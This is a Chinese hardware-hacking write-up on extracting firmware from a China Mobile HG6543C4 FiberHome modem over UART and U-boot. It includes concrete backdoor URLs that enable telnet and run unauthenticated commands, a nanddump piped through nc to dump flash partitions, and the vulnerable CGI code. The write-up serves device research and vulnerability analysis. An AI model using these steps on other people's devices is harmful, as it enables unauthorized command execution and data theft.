中国移动HG6543C4烽火服务商光猫UART一键提取硬件文件系统

硬件安全后门漏洞固件提取
2025-12-30 11:46
9249

中国移动HG6543C4烽火服务商光猫UART一键提取硬件文件系统

硬件

image.png

UART串口调试

连接UART到电脑,在Mobaxterm上打开,观察得到的信息

image.png

设备型号是BCM968480FHGU;板卡IP地址是192.168.1.1;主机地址是192.168.1.00;运行文件系统名叫vmlinux;闪存分区大小分别罗列出来了Partition 4 是数据分区(存放配置文件、语音参数等),有90MB。

image.png

跳过初始化要按ESC就进入U-boot

image.png

闪存的7个分区

  • 0x000000000000-0x000000020000 : "nvram" (2MB)→ 存放配置参数、MAC、SN等关键数据
  • 0x000000020000-0x000004f00000 : "rootfsA" (约78MB)→ 主根文件系统(A分区)
  • 0x000004f00000-0x000009de0000 : "rootfsB" (约78MB)→ 备用根文件系统(B分区,双系统设计,用于安全升级)
  • 0x000009de00000-0x000009f00000 : "misc1" (小分区,可能杂项日志)
  • 0x000009f00000-0x00000ff00000 : "data" (约80MB)→ 用户数据分区(配置、语音参数等)
  • 0x00000f900000-0x00000fd00000 : "PreConfigure" (4MB)→ 预配置分区(运营商定制参数)
  • 0x00000fd00000-0x00000ff00000 : "UserLocalCT" (2MB)→ 用户本地CT

image.png

最后我们观察到进程被卡在这里动不了了,因为设备被设置了权限进不去shell,我们只能通过之前的ESC结束自动进程进入U-boot,查看是否有可以帮助我们提取的命令。重启光猫按ESC

image.png

提取固件

通常我们通过U-boot提取命令可以使用md命令或者nand命令,这里面有二开的相关命令dn/dm/db/dh/dw,我们可以通过这些命令将文件系统一点点提取出来然后再通过UART端口传输,就是效率较慢。我们试着查看一下环境变量看看是否可以得到更多有用的信息。

image.png

和我们之前看到的一样

漏洞利用

笔者在网络上发现一篇有关这个设备的漏洞文章,https://www.bilibili.com/opus/317989251067169317
根据曝光出来的账户密码可以进入超级管理员后台,也可以免登录进入web shell命令执行

因此我们可以用网线直连 LAN 口,PC 设置静态 IP 192.168.1.x,浏览器登录超管,访问 http://192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1 开启 Telnet,访问http://192.168.1.1/cgi-bin/shortcut_telnet.cgi
进行命令执行。

image.png
使用cat /proc/mtd查看flash分区

image.png

image.png

为了防止遗落下哪个重要分区,我们全部都要

再使用ls /bin查看可以利用的提取命令,找到nanddump,dd,tar

image.png

准备工作已经做完,我们把路由器和电脑连接上网线,把IP设置到同一网段下

image.png

在Windows端开启监听端口ncat -l -p 9999 > mtdX.bin

在网页上发送nanddump命令传输,nanddump /dev/mtdX | nc 192.168.1.2 9999,将分区依次传输到当前Windows目录下。

得到的bin文件用cat合并成一个文件,再用binwalk提取,就可以得到文件系统了

image.png

得到的文件系统中的bin和我们之前在web shell看到的一样,说明提取成功。

脚本提取

可不可以再简洁一点呢,比如一键提取之类的?

我们可以写一个python脚本,提取其中21个分区,一键合并成一个full.bin,省去很多体力。

image.png

image.png

在Windows上获得整个flash之后,再拖到Unbuntu中binwalk提取得到文件系统。

漏洞分析

在写脚本的过程中,我们主要利用的是shortcut_telnet.cgi这个url,我们提取之后去分析一下这个漏洞点

image.png

点开这个cgi文件,查看代码

image.png

该脚本是一个典型的 Web Shell 后门实现,位于路由器固件的 /cgi-bin/ 目录下,用于通过 HTTP GET 请求执行任意系统命令。其核心逻辑是将用户提交的 QUERY_STRING 参数作为命令写入临时脚本文件执行,并将输出返回给浏览器。

CMD=`../cgi-bin/urldecode.cgi $QUERY_STRING`
echo "$CMD" >>$CMDFILE
`/bin/sh $CMDFILE`

漏洞点就在这里,脚本直接将用户控制的 $QUERY_STRING 参数经过简单解码后作为命令执行,未经任何过滤,攻击者可构造任意系统命令。

其次,cgi接口没有任何任何身份认证机制,我们只要知道该url局域网内任意主机均可直接访问并执行命令。并且输出结果直接以HTML 形式(<br / >换行)返回浏览器,我们可以通过输入命令得到系统的敏感信息,如文件分区等。

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们